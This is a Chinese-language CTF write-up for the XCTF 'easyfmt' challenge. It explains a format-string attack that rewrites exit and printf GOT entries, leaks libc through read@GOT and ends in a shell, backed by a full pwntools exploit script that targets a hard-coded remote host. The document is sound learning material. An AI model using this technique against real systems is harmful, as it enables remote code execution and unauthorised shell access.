XCTF-easyfmt-WP
easy是easy,但是特别麻烦。
简单的四步。

checkin没什么好办法,老老实实爆破,概率0.2,'0'-'4'都有可能
修改exit的got表值为

光标所指的这一行的地址,由于延迟绑定,原got表值为exit的plt表的偏移处,所以我们修改低二字节就可以了
leak出某个函数的got表值,用libcsearcher找出机器的libc版本
覆写printf@got为system的地址,输入'/bin/sh\x00',getshell
#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level = 'debug')
elf = ELF("./easyfmt")
sh = remote('220.249.52.134','31322')
sh.sendlineafter("enter:",'0')
#payload = p64(elf.got["exit"]) + '%' + str(0x0982 - 8) + 'c' + '%8$hn'
payload = '%' + str(0x0982) + 'c' + '%10$hn'
payload = payload.ljust(16,'f')
payload += p64(elf.got['exit'])
sh.sendafter("slogan: ",payload)
payload = 'start-%11$s-endf' #length 16
payload += p64(elf.got['read'])
sh.sendafter("slogan: ",payload)
sh.recvuntil('start-')
#read_addr = int(sh.recvuntil('-end',drop = True),base = 16)
read_addr = u64(sh.recvuntil('-end',drop = True).ljust(8,'\x00'))
payload = ''
libc = LibcSearcher('read',read_addr)
system_addr = read_addr - libc.dump('read') + libc.dump('system')
print hex(system_addr)
if(((system_addr & 0x00000000ffff0000)>>16) > (system_addr & 0x000000000000ffff)):
payload = '%' + str((system_addr & 0x000000000000ffff)) + 'c' + '%14$hn'
payload += '%' + str(((system_addr & 0x00000000ffff0000)>>16) - (system_addr & 0x000000000000ffff))
+ 'c' + '%15$hn'
payload = payload.ljust(32,'f')
payload += p64(elf.got['printf']) + p64(elf.got['printf'] + 2)
else:
payload = '%' + str((system_addr & 0x00000000ffff0000)>>16) + 'c' + '%15$hn'
payload += '%' + str((system_addr & 0x000000000000ffff) - ((system_addr & 0x00000000ffff0000)>>16))
+ 'c' + '%14$hn'
payload = payload.ljust(32,'f')
payload += p64(elf.got['printf']) + p64(elf.got['printf'] + 2)
sh.sendafter("slogan: ",payload)
sh.sendafter("slogan: ",'/bin/sh\x00')
sh.interactive()
要注意的是每一次重新printf格式化字符串的时候,都进行了一次call操作,所以rsp会每次增加8,所以参数要每次加一。
这道题目也算是复习一下格式化字符串(几天不做就不会了),对于没有开启full reload的题,其实基本上就是leak libc->覆写got->ret2libc,堆利用和格式化字符串就是这么个套路